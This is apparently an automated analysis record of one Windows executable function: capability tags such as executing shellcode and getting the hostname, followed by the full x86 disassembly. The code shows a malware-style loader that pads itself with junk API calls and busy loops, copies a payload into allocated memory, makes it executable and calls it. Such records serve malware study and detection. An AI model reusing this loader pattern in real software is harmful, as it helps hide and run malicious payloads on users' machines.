Function at 0x40b000
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get geographical location
Get hostname
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40e61b
mov eax, dword fs:[0]
push eax
sub esp, 0x858
mov eax, dword [0x442030]
xor eax, esp
mov dword [esp + 0x850], eax
push ebx
push esi
push edi
mov eax, dword [0x442030]
xor eax, esp
push eax
lea eax, [esp + 0x868]
mov dword fs:[0], eax
mov edx, dword [0x2c2255c]
xor ebx, ebx
cmp edx, 0x7c
jne 0x40b0a3
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
lea eax, [esp + 0x60]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2c2255c], 0x2d
jne 0x40b094
push ebx
push ebx
push ebx
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.0040136a
mov edx, dword [0x2c2255c]
add esp, 4
mov ecx, dword [0x443d74]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x1c3
jne 0x40b0c0
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x40b0d4
mov dword [0x444d10], edi
mov dword [0x444d14], esi
inc eax
cmp eax, 0xb9fa618
jl 0x40b0b3
mov edi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x2c2255c], edx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x562d05
jne 0x40b102
mov eax, dword [0x442f58]
mov dword [0x2c22560], eax
cmp edx, 0x3c
jne 0x40b110
push ebx
call edi
mov edx, dword [0x2c2255c]
inc esi
cmp esi, 0x5f6c74
jl 0x40b0f0
cmp edx, 0x110a
jne 0x40b1e6
push ebx
mov dword [0x2c22428], ebx
mov dword [0x2c2242c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [esp + 0x34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.00401206
push ebx
call fcn.00401295
add esp, 0xc
push 0x30
push 0x440864
push str._s__c
push 0x444c88
call fcn.00401078
push 4
call fcn.00401724
add esp, 0x14
cmp eax, ebx
je 0x40b1ac
lea ecx, [esp + 0x1c]
mov dword [eax], ecx
jmp 0x40b1ae
xor eax, eax
mov dword [esp + 0x1c], eax
push ebx
push ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
call fcn.00401206
push ebx
call fcn.00401295
add esp, 0xc
push 0x440864
push 0x444c88
call fcn.00401078
add esp, 8
push ebx
call fcn.00401671
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2c2255c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2c22280], eax
cmp dword [0x2c2255c], ebx
jbe 0x40b25b
mov edi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x40b220
mov eax, dword [0x2c22560]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + esi]
mov eax, dword [0x2c22280]
mov byte [eax + esi], dl
cmp dword [0x2c2255c], 0x5ab
jne 0x40b252
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2c2255c]
jb 0x40b220
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x2c2255c]
mov eax, dword [0x2c22280]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040af50
add dword [0x2c22280], 0
mov ebx, dword [esp + 0x3c]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
jmp 0x40b2a0
push 0
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x40b2b8
cmp ebx, 0xf5bed7
jne 0x40b2c1
inc esi
cmp esi, 0x1ece7a52
jl 0x40b2a0
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x10], 0x1e4165
mov ebx, 0x8e46a6f0
lea ebx, [ebx]
cmp dword [0x2c2255c], 0xcc1
jne 0x40b2f0
push 0
call esi
cmp dword [0x2c2255c], 0x7c4
mov dword [0x2c22284], ebx
jne 0x40b308
push 0
push 0
call edi
sub dword [esp + 0x10], 1
jne 0x40b2e0
mov ecx, dword [esp + 0x868]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x850]
xor ecx, esp
call fcn.00401069
mov esp, ebp
pop ebp
ret